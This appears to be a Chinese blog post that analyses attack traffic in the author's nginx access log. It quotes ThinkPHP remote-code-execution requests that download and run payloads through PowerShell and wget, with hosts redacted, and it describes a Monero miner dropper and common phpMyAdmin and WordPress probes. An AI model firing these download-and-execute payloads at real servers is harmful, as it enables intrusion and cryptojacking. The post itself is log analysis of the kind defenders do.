这并不是个周更节目。不过也有可能变成一个周更节目。
access.log 是 nginx 访问日志的默认文件名。如果你有一个对公网开放 HTTP（S） 服务的服务器，那么一段时间后的 nginx 日志可能会变得很有趣。这里我们选择几个有趣的地方进行分析。
敏感位置以 [REDACTED] 替代。如仍有敏感内容请联系我进行修改。
IP，还是域名？
对于扫描而言，直接扫描 IP 的案例要比扫描域名的案例多得多。
几个有趣的故事
w00tw00t
GET /w00tw00t.at.blackhats.romanian.anti-sec:) 以及 GET /w00tw00t.at.ISC.SANS.DFind:)
看起来是某位在黑帽大会上面对所做的演示扫描。这篇文章大概讲了一下个中故事。
哪个系统又爆如此无聊的远程执行漏洞了？
GET /public/index.php?s=index/think\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile([REDACTED],[REDACTED]);start%20[REDACTED]
看起来是 Windows 端 .NET 应用专属漏洞？有趣。VirusTotal 已经有人提交过了。53/72 中奖。话说 9102 年了，哪个 Windows 服务器不也得装点杀毒软件什么的...
之后我又看到了这个：
GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20[REDACTED]%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a;
VirusTotal 结果。现在 Windows 平台杀毒软件是连 Linux 脚本都能扫描了，不错。
这个 Linux 脚本又从线上下载下来另外一个 ELF 文件（VirusTotal），从传入的参数看起来，是个门罗币矿机。至于这个脚本，在下载矿机到 /tmp之前，它先清空 crontab，然后杀掉本地 CPU 时间超过五分钟的进程，之后时刻检查（while true）是否有两个矿机在并行运行。这个样子一重启不就什么都没有了么...
还有一个没什么意思的：
GET /FxCodeShell.jsp?view=[REDACTED]&os=1&address=[REDACTED]
与此相关的 payload 在 VirusTotal 上的结果： 这里
To k8s or not k8s, that's a problem
GET /api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/
您好，不是；谢谢，再见。我很 #poor 所以并没有在云计算上跑 k8s 的习惯。顺便说一句，我在本地也没跑过。
\xe4\xbd\xa0\xe8\xaf\xb4\xe5\x95\xa5\xef\xbc\x9f
b"\xe4\xbd\xa0\xe8\xaf\xb4\xe5\x95\xa5\xef\xbc\x9f".decode('utf-8') = '你说啥？'
GET \x16\x03\x01\x02...
这是一段 TLS 握手的开头。这个样子我听不懂的请讲拆尼斯啊。
其余热门景点
GET /phpMyAdmin/scripts/setup.phpGET /mysql/admin/index.php?lang=enGET /pma/scripts/setup.phpGET /phpmy/scripts/setup.phpGET //MyAdmin/scripts/setup.phpGET /db/scripts/setup.php
（大多数来自 ZmEu 扫描器。建议以后各位 PhpMyAdmin 用户把 PMA 藏在更深的目录下，例如/i/use/php/because/kobayashi/also/uses/it。）
GET /wordpress/wp-login.phpGET /wp8/wp-login.phpGET /wp7/wp-login.phpGET /wp6/wp-login.phpGET /wp5/wp-login.phpGET /wp4/wp-login.phpGET /wp3/wp-login.phpGET /wp2/wp-login.phpGET /wp1/wp-login.php
（IP 都不一样而且还是浏览器的 User-Agent，可惜我不用 Wordpress。所以这是什么路径？）
- 以及理所当然的无数个
GET /